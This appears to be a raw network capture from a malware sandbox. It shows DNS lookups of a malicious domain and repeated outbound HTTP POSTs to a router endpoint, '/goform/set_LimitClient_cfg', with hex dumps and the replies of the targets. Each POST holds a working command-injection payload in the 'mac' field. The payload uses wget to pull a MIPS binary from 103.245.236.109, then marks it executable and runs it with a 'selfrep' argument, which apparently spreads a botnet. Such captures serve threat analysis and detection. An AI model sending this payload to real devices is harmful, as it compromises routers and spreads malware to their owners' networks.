Jan 11, 2024 14:36:08.890960932 CET	8.8.8.8	192.168.2.23	0xde38	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:10.753150940 CET	8.8.8.8	192.168.2.23	0xef48	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:15.573617935 CET	8.8.8.8	192.168.2.23	0x3691	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:23.390396118 CET	8.8.8.8	192.168.2.23	0x74d1	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:30.252890110 CET	8.8.8.8	192.168.2.23	0x78d8	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:33.108695030 CET	8.8.8.8	192.168.2.23	0x10bb	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:43.972691059 CET	8.8.8.8	192.168.2.23	0x10e6	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:49.846245050 CET	8.8.8.8	192.168.2.23	0x37e3	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:58.708755016 CET	8.8.8.8	192.168.2.23	0x55d3	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:03.582653046 CET	8.8.8.8	192.168.2.23	0x4b56	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:13.460463047 CET	8.8.8.8	192.168.2.23	0x9e8f	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:22.332355022 CET	8.8.8.8	192.168.2.23	0x1094	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:25.170191050 CET	8.8.8.8	192.168.2.23	0xc40b	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 14:36:24.186944008 CET	240	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:24.370400906 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 14:36:28.877832890 CET	240	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:29.236357927 CET	242	IN	HTTP/1.1 403 Forbidden Server: CradlepointHTTPService/1.0.0 Content-Type: text/html; charset=UTF-8 Date: Thu, 11 Jan 2024 13:36:37 GMT Content-Length: 69 Data Raw: 3c 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><title>403: Forbidden</title><body>403: Forbidden</body></html>

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 14:36:33.394588947 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:37.548290014 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:43.691447973 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:55.721851110 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:37:21.574110031 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 14:36:33.585046053 CET	240	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:33.753266096 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Thu, 11 Jan 2024 13:42:38 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3469 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 14:36:33.684053898 CET	240	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:36.151168108 CET	236	IN	HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.0 Date: Fri, 12 Jan 2024 02:36:30 GMT Content-Type: text/html Content-Length: 87 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 54 68 65 20 70 61 72 61 6d 65 74 65 72 20 69 73 20 69 6e 63 6f 72 72 65 63 74 2e 20 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Error</title></head><body>The parameter is incorrect. </body></html>

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 14:36:33.999028921 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:35.628582001 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:37.548285007 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:41.387844086 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:49.066658974 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:37:04.424485922 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:37:35.908018112 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 14:36:37.664361000 CET	240	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
